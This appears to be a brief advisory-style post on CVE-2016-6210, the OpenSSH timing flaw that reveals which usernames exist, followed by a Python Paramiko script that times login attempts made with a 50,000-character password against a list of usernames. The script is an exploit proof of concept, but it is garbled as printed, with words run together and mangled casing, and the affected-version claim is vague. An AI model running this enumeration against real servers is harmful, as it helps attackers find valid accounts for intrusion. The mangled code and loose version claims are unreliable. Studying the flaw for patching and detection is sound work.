OpenSSH enumeration of system users (cve-2016-6210) using the time difference caused by the processing of malformed length ciphers

Affected version:

Opensshd (< = Latest Version)

cve-2016-6210

Vulnerability Description:

When we use the SSH client to connect to the server, if send a password greater than 10KB to the server, because the OPENSSH server will be a combination of User:password, using encryption algorithm sha256/sha512 encryption.
If we transmit a non-existent user name, then will not enter the SHA256 (User,password) encryption process, if the user name exists, the server will be for this 10KB large password SHA256 encryption, here will produce a time difference.

Test script:

import Paramiko import timeimport sys fromfileutils Import fileutilsdef get_user (ip,user): P='A'*50000SSH=Paramiko. Sshclient () StartTime=Time.clock () ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ())Try: Ssh.connect (IP, username=user, password=p) Except:endtime=Time.clock () Total=endtime-StartTimereturn(total)if__name__ = ='__main__': IP= sys.argv[1]     forUserinchFileutils.getlines ('User.lst'):        Try: I=Get_user (ip,user) except Exception,e:print str (e)ifi >5.0: Print'%s:%s:%s found'%(IP, user,i)Else: Print'%s:%s:%s no found'% (Ip,user,i)

OpenSSH enumeration of system users (cve-2016-6210) using the time difference caused by the processing of malformed length ciphers